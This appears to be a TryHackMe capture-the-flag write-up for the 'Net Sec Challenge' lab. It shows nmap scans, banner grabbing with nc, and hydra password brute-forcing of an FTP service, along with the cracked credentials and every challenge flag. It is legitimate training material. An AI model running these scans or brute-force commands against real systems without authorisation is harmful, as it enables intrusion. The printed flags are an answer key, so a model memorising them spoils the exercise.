Net Sec Challenge

**Task 1 – Introduction**

Use this challenge to test your mastery of the skills you have acquired in the Network Security module. All the questions in this challenge can be solved using only nmap, telnet, and hydra.

Deploy machine

**Task 2 – Challenge Questions**

You can answer the following questions using Nmap, Telnet, and Hydra.

Usually on a box like this i use rustscan as it is much faster, but since the room eluded to nmap, hydra and telnet I figured I would stick to those tools for the challenge.

I decided to launch a full verbose nmap scan so I could maybe answer the questions as the scan was running.

$ nmap -vvvv -p- -T4 –states-every 10 <ip>

-vvvv : Give me lots of verbosity

-T4 : aggressive scan assumes a fast and reliable network

— stats-every 10 : this gives me a status update every 10 seconds

$ip : I usually do a set variable ip=10.10.10.10 to save typing so I can just reference the machine by $ip

**Answer the question:**

1 What is the highest port number being open less than 10,000?

Ans - 8080

2 - There is an open port outside the common 1000 ports; it is above 10,000. What is it?

Ans - 10021

3 – How many ports are open?

Ans - 6

4 - What is the flag hidden in the HTTP server header?

$ nc 10.10.10.10 80

Ans - THM{web\_server\_25352}

5 - What is the flag hidden in the SSH server header?

$ ssh -v 10.10.10.10

Ans - THM{946219583339}

6 - We have an FTP server listening on a nonstandard port. What is the version of the FTP server?

If you connect to the port with ftp or nc you will get the answer to the challenge question.

ftp 10.10.10.10. 10021

nc 10.10.10.10 10021

\

Flag - vsftpd 3.0.3

7 - We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?

Multi user for -L :

$ hydra -L user.txt -P /usr/share/wordlists/rockyou.txt <ftp://10.10.155.52:10021>

Single user for -l :

$ hydra -l quinn -P /usr/share/wordlists/rockyou.txt -s 10021 10.10.155.52 ftp

$ hydra -l quinn -P /usr/share/wordlists/rockyou.txt -s 10021 10.10.155.52 ftp

Result:

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-18 04:32:16

[DATA] max 16 tasks per 1 server, overall 16 tasks, 28688798 login tries (l:2/p:14344399), ~1793050 tries per task

[DATA] attacking ftp://10.10.155.52:10021/

[10021][ftp] host: 10.10.155.52 login: eddie password: jordan

[10021][ftp] host: 10.10.155.52 login: quinn password: andrea

Then log as ftp

ftp 10.10.155.52 10021 #port

user name or password

then get command to get ftp\_flag.txt

flag - THM{321452667098}

8 - Browsing to http://10.10.155.52:8080 displays a small challenge that will give you a flag once you solve it. What is the flag?

Flag - THM{f7443f99} # nmap -sN 10.10.155.52